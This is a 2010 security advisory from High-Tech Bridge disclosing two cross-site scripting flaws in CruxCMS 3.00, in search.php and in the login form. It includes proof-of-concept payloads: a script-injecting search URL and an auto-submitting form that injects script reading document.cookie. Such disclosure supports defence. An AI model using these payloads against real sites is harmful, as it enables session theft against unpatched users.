Stay in touch with us: Facebook | Twitter | LinkedIn | Newsletter
ImmuniWeb® by High-Tech Bridge


High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Cross-site Scripting (XSS) Vulnerabilities in CruxCMS

Advisory ID:HTB22445
Product:CruxCMS
Vendor:CruxSoftware
Vulnerable Versions:3.00 and probably prior
Tested Version:3.00
Advisory Publication:June 21, 2010 [without technical details]
Vendor Notification:June 21, 2010
Latest Update:May 20, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE References:CVE-2008-0700
CVE-2010-2717
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:1) Psiczn
2) High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in CruxCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in CruxCMS: CVE-2008-0700
The vulnerability exists due to input sanitation error in the "search" parameter in search.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/search.php?search=%27%22%3E%3Cscript%3Ealert%28234%29%3C/script%3E
This vulnerability was independently discovered by Psiczn and it was assigned a CVE number CVE-2008-0700.

2) Cross-site scripting (XSS) vulnerability in CruxCMS: CVE-2010-2717
The vulnerability exists due to input sanitation error in the "txtusername" HTTP POST parameter in login.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form method="POST" action="http://host/manager/login.php" name="main">
<input type=hidden name=txtusername value='"><script>alert(document.cookie)</script>'>
<input type=hidden name=txtpassword value=''>
<input type=hidden name=cmdSubmit value='Submit'>
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22445 - https://www.htbridge.com/advisory/HTB22445 - Cross-site Scripting (XSS) Vulnerabilities in CruxCMS
[2] CruxPA - cruxsoftware.co.uk - CruxPA is a simple web-based CRM system to keep track of tasks, appointments and customers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.